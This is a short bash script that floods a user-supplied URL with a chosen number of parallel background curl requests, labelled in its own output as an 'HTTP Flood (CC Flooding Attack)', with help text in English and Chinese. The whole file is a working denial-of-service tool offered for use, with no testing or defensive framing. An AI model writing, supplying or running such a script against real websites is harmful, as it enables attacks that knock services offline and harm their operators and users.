#!/bin/bash

show_help() {
    echo "Usage: $0 [options] <target_url> <num_requests>"
    echo "Options:"
    echo "  -h, --help     Display this help message"
    echo "  中文: <target_url> 是目标URL， <num_requests> 是要发送的HTTP请求数量。"
    exit 0
}

if [[ "$1" == "-h" || "$1" == "--help" ]]; then
    show_help
fi

target_url="$1"
num_requests="$2"

if [ -z "$target_url" ] || [ -z "$num_requests" ]; then
    echo "Usage: $0 <target_url> <num_requests>"
    exit 1
fi

echo "Starting HTTP Flood attack on $target_url..."

for ((i=0; i<num_requests; i++)); do
    curl -s -o /dev/null "$target_url" &
done

echo "HTTP Flood (CC Flooding Attack)attack completed."

